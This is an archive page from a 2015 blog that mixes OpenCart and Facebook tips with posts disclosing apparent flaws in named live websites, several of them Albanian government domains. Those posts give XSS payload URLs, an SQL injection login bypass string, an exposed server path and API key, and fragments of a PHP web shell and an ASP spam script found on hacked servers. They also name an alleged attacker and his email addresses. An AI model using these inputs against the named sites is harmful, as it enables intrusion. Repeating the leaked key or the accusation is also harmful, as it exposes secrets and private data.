pro(re)gress

Posts

Showing posts from August, 2015

Mass move your categories in another store (id) in opencart

With this simple sql query we are going to add, in an easy and fast way, the categories in another store INSERT into `oc_category_to_store` (category_id, store_id) SELECT category_id, 0 from oc_category; Replace the 0 (zero) with the id of the other store(id).

Problem with facebook business page that cannot be shown on mobile - cannot search facebook page via smartphone

Problem with facebook business page that cannot be shown on mobile - cannot search facebook page via smartphone Facebook business page cannot be found on facebook mobile from any kind of mobile device. You can try: - to contact the facebook's customer care ... that doesn't reply too often. - to unpublish (hide) and publish your facebook page. This method works for pages that cannot be reached at all (desktop and mobile). - Merge eventual duplicate facebook business pages. Maybe the problem is that only one will show in the searches. - make sure to configure/assign the definitive facebook web address from the page settings. Those are NOT definitive solutions! Problema pagina facebook business non presente da mobile - impossibile cercarla da telefono Una pagina facebook business non viene trovata nelle ricerche da mobile e non è possibile accedere da qualsiasi telefono Potete provare a: - a contattare assistenza facebook ... che non risponde spesso. - a nascondere e ripubbl...

http://www.instat.gov.al | possible Sql injection, data leak, data dump

http://www.instat.gov.al/al/figures/statistical-databases/select.aspx?rxid=1df185c6-c85e-4c8d-b7ae-d400ecedf852&px_tableid=LSMS51 LSMS51 seems to be the table and we can inject sql/data queries.

http://www.akp.gov.al/ | joomla 1.7 with bugs

www.qkr.gov.al | XSS

sample: www.qkr.gov.al/nrc/SearchPage.aspx?find=search:"><script>alert(1);</script><"&t=3

http://www.domaindirect.it/ | sql injection, data dump, XSS

http://www.domaindirect.it/cat/tre%20lettere/page=XXX It's possible to create a sql injection in several parts of the website. the php website is using Zend XSS www.domaindirect.it/search/"><script>alert(1);</script>

http://www.martialart.it | sys compromise, path disclosure, etc

path: /web/htdocs/www.martialart.it/home/firedragon/ api flickr 5975c197350037e77999ef112ec76cbe

https://www.msweb2000.ca/ | sql injection at login

https://www.msweb2000.ca/ | sql injection at login admin a' or 1=1 --'

newshell.it | sql injections, system compromise, plesk remote exploit

https://newshell.it/index.php?action=utente&utenteAction=login Sql injection in the login area __________________________ https://mac.newshell.it:8443 https://xen1001.newshell.it:8443/ https://www.registrazionedomini.in:8443/ plesk + apache - remote exploit problem

Best SEO practice to redirect a domain to your own

Use a php page (index.php) with a 301 Moved Permanently <?php // 301 Moved Permanently header("Location: http://www.bnit.it",TRUE,301); ?>

php shell found on a hacked server

php shell found on a hacked server andriroot@gmail.com is the email of the attacker. He's known as andri Cyber4rt, he's from jakarta, he usually use the same email for frauds, he usually abuses of old bugs of whcms, plesk and so on. His alt. email address is andri.cyber4rt@gmail.com. if(strpos($_SERVER['HTTP_USER_AGENT'],'Google') !== false ) { header('HTTP/1.0 404 Not Found'); exit; } function printLogin(){ echo "<html><head><title>./DM ExploiterZ [ 0day ]</title> <style>body {font-family: 'Audiowide',serif;font-size: 20px;} </style></head> <body bgcolor=black><center><br><br> <nobr><font face=Audiowide color=blue>ExploiterZ <font color=white>[ 0day ]</font></nobr><br><br> <form method=post> <img src='https://fbcdn-photos-c-a.akamaihd.net/hphotos-ak-ash3/t1/994064_479867415465112_1199170647_n.jpg'...

useless asp stuff found on an hacked server

useless asp stuff found on an hacked server <% if request.QueryString("1")<>2 then response.Write "<iframe src=""http://127.0.0.1"" width=100% height=100% frameborder=0></iframe>" response.End() end if %> <% if request.Form("c")<>"" then randomize shuliang=Int((10000000 - 1 + 10000000) * Rnd + 1) title=Replace(request.Form("title")," ","-") path1=replace(server.mappath("1.asp"),"1.asp","") path=path1&title&"-"&shuliang&".html" dbfile=path1&"1.htm" response.Write path&"<br>" response.Write dbfile&"<br>" str1=Replace(request.Form("c"),"<br><","<")&"</body></html>" str2="<a href="&title&"-"&shuliang&".html""...